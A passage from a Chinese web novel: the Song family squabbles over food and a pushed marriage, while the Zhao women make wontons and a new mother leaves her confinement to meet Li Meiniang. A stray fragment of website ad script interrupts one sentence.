在宋大娘那里如愿了，宋驰才有心思想别的，瞧了一眼抹了一把嘴就要出门的大哥，宋驰忙拦住人。 “大哥，你说说，是甜的好吃，还是咸的好吃！” 宋小月的耳朵也嗖一下立了起来，紧紧盯着她大哥的脸：一定是甜的好吃！她每次吃云片糕，分给大哥，大哥都不拒绝，大哥也爱吃甜的！ 宋驰扫一眼弟弟，看一眼妹妹，怀里揣着的两个糯米饭团，还热乎乎烫着他的腹部。 “都挺好吃的。” “大哥！”“大哥！”宋彦看似两边讨好的话语，弟弟和妹妹一个都没有被哄好，反而引起二重奏，两小的追过去，一定要让他们大哥明白，到底是甜的好吃，还是咸的好吃。 宋大娘藏在后面撇撇嘴，她心想：四郎这个饭桶，吃什么行，他那嘴巴能知道什么好吃，什么不好吃？两个小的问他就是白问。 实际宋彦是真觉得甜的也好吃，咸的也好吃，刚刚宋驰和宋小月吵架的时候，他就是一个包甜，一个包咸，生生吃下去半桶糯米饭，现在怀里揣着的两个糯米饭团，也是一个甜，一个咸。 “大哥，你爱吃甜的，这糯米饭团当然也是甜的好吃，对不对！”宋小月黑眼眸扑闪扑闪，可爱极了，如果是平时，宋彦就点头了。 但是旁边还有一个虎视眈眈的小弟，宋彦着急走，没工夫和自家小弟小妹扯嘴皮子，只好转移话题问了一句：“油条挺好吃的，哪家买的？” 宋小月果然上当，挺起小胸膛：“美娘姐姐做的，我还帮着一起搅面团了哟！” 李美娘…… 宋彦抿着唇，脸色都黑了七八度，他中午吃的那么多油条，都是哪个女人做的？ 霎时间，揣在怀里的加餐就变成了烫手山芋，真是丢也不成，吃了怕自己噎死。 而另一边，他娘听到李美娘的名字，就好像被启动了什么机关一般。 “四郎，你和美娘的八字我拿去找大师算过了，人家说这叫佳偶天成！婚期我也找大师看过了，他给选了好几个，我拿给你看看，你瞧瞧哪个日子最好！” 宋彦就和屁股后面有大虫追着咬一般，火速离开他娘的催婚现场，而后头宋大娘还在追着喊：“四郎，我听你何大娘说了，上回她家买的就是长平坊的喜饼，我吃过味道不错，你过去问问是什么价钱！” 宋彦飞也似的逃了，耳朵一点都听不得关于自己婚事的事，而那边宋小月却是亮着眼凑到了她娘跟前：“娘，大师给算了日子，大哥成亲的时间能让我来挑吗？” 宋大娘虽然不懂小闺女是想干什么，但看她一脸精光的小表情，就知道她没憋好屁，她也不骂她，只说了一句：“你哥同意，我就同意！” 宋小月也没有什么特殊的想法，只不过想要早点多一个嫂子，只要让她选日子，她就选一个最近的日子！ 赵家。 因着老太太说想吃小馄饨，李抗美还有赵家姐妹几个，吃过午饭歇了一会儿，就忙活开了。 赵二姐和赵三姐两个揉面做馄饨皮，李抗美和陈氏在剁肉馅。 剁肉馅可真不是一个轻松的活，特别是赵家还有那么多张嘴巴，等赵二姐和赵三姐忙活完面皮，也过来帮着一起剁馅了。 纯猪里脊，先切碎，再剁成肉泥。 李抗美和陈氏切肉的时候，宋小月就来了一趟，她是过来拿小酥鱼的，着急把手里的小酥鱼卖出去，她罕见没有在赵家多留。 还是赵二姐举着一双沾满面粉的手，追在她屁股后面喊：“小月，晚上家里吃小馄饨，记得过来，顺便和姑姑说一声，晚饭别做了，你带馄饨回去给家里人吃。” 应答赵二姐的是远处宋小月高高扬起手的背影，还有一句听不太清楚的：“知道了！” 一个下午，院子里都是“笃笃笃”的剁肉声，赵老太都被吸引了出来，恰好下午是难得的艳阳天，郑冬冬就指挥两个儿媳妇，把仓库里的竹摇椅搬了出来，上面铺上厚厚的毯子，叫赵老太躺在摇椅上，悠闲摇着摇椅，晒着太阳，看着李抗美几个剁肉馅。 厨房廊檐下摆着个小炉子，一口大陶锅架在上面，咕咚咕咚煮着猪骨鸡汤，这就是晚上小馄饨的汤底。 东厢房里，王丽姑闻着从门缝里蹿进来的鸡汤味道，听着院子里小姑子们的笑闹声，连她那个三棍子打不出一个屁的妯娌都在与大家说笑，王丽姑心里痒痒极了。 李家娘子来家也有一个多月了，人家是来养病的，她又是个坐月子的产妇，两个人同住一屋檐下，吃她做的饭都吃了许多顿了，但硬是一面都没有见过。 原本知道李美娘这人的时候，王丽姑心里还在想四郎表弟这下惨了，要娶回家这么个女人，姑奶奶家里以后恐怕是鸡犬不宁了！ 后来李美娘没先嫁进姑奶奶家里，到先来了他们赵家养病，王丽姑心里又提心吊胆，听说这李美娘就不是个好的，奶奶和婆婆这是被灌了哪门子的迷魂汤，把这样的人接进家里来，自己这月子还能不能好好坐！ 但她脑子里预想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的事情，一件都没有发生，倒是那李美娘病好了之后，开始一展厨艺，不仅把她吃得多了一层下巴，就连原本黑瘦的小娃都白胖了起来。 娘的奶水多了，小娃可不充气一般得长嘛！ 王丽姑可太想见见那李美娘到底是何许人也了，原本家里人都不怎么喜欢她，现在家里人，除了不知好歹的姝姐儿，哪个提起她不是赞不绝口！ 她原本还要等到明天，才算出月子，可今日外面这么热闹，她那心里也像是钻进了一百只小猫咪，用小爪子挠得她心里难受：“娘——”王丽姑是个绝对不委屈自己的，张口就喊上了。 这位可是生了赵家第五代长子长孙的大功臣，原本坐在赵老太身旁扎鞋底的赵大娘二话不说，就放下手里的活计，冲到了大儿媳妇坐月子的屋里。 “怎么了？可是我大孙尿了？”赵大娘还以为是赵家第五代独苗苗怎么了。 王丽姑冲着赵大娘笑笑：“今天天气好，娘你带着小宝出去晒晒太阳，厨房里有热水吗？我想擦洗擦洗，我都快两个月没见过外面的天了！” 赵大娘听到儿媳妇这话，就知道她是想要出月子。 大儿媳妇生长孙时身体遭了大罪，坐的是双月子，还差几天就是六十天。 王丽姑见着婆婆面色犹豫，两手立刻缠上了婆婆的手臂：“娘！我都快两个月没有沐浴了，我这身上不是奶臭就是汗臭！我这辈子都没那么邋遢过，娘，你就心疼心疼我！” 赵大娘是个面硬心软的，十分吃王丽姑撒娇的这一套，陈氏要是有王丽姑二分嘴甜，平时都能少挨她做婆婆的骂。 王丽姑在屋子里擦洗好一通，感觉身上都轻了二斤之后，才肯走出院子见人。 自家后院当然都是自家人，赵家女眷王丽姑没有一个不认识的，那被两个小姑还有妯娌围在中间的陌生姑娘，定然就是她念了许久的李美娘了。 见着李抗美的第一眼，王丽姑觉着自个眼前都亮堂了几分。 好一个清俊柔美的姑娘，怪不得要叫美娘，恐怕除了这个名字，也没有别的名字能配得起她这一副好相貌了。 王丽姑在心中暗暗道。 她性子是极爽朗的，提着裙子就朝着李抗美快步而去，伴随的还有她银铃般的笑声：“哈哈哈！同一屋檐下住了这么久，可算让我见着美娘妹妹的真容了！同我心里想得一模一样！” 李抗美原本在与旁边的陈氏说着话，就被一阵欢快的笑声吸引去了目光，一个丰腴的白皙妇人，提着裙子从东厢房廊下快步而来，说句话的功夫，手已经揽上她的臂弯。 “你心里想得什么？”郑冬冬几个也是极喜欢这个长孙媳的，性子爽朗大方，心里有成算，却不计较，这样的姑娘做长嫂，家里才会和气兴旺！ 王丽姑眼珠子一转：“这是奶奶问我的，我可直说了，奶奶听了可别生我的气！” 郑冬冬隔空点点她：“你个狭促鬼，好好说话我怎么会生你的气，你要是胡说八道，我生你的气，也是你活该！” 王丽姑一点也不怕：“美娘样貌生得好，又有一手好厨艺，定然是天上下凡的厨神仙子，要不是叫姑奶奶早早定去了，我定然是要把她抢回我娘家，给我弟弟做媳妇的！” 王丽姑这话就是开玩笑，一是因为她打心底喜欢李抗美这姑娘，二就是这姑娘已经是赵家姑奶奶的儿媳妇了，姑奶奶又是奶奶心尖上的闺女，她故意说这般话便是抬举李抗美，也是变相讨郑冬冬的欢心。 这话若都是女眷，就是再加上宋大娘，那都是一点毛病都没有的。 可偏偏…… 王丽姑是背对着院门的，她说完这话，发现院中众人之间的气氛并不像她想象中的欢快，心中察觉到一丝不对劲，扭过头去，就见着她美娘妹妹的未来夫郎，宋家表弟跟在她家大郎阿爷身后，脸色深沉，看不出一分笑模样。